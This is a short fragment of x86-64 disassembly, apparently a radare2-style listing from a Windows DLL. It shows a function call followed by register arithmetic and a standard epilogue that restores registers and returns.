je 0x18004a89d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.18034f8f0
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x48]
mov rax, r15
mov rdi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rbx
ret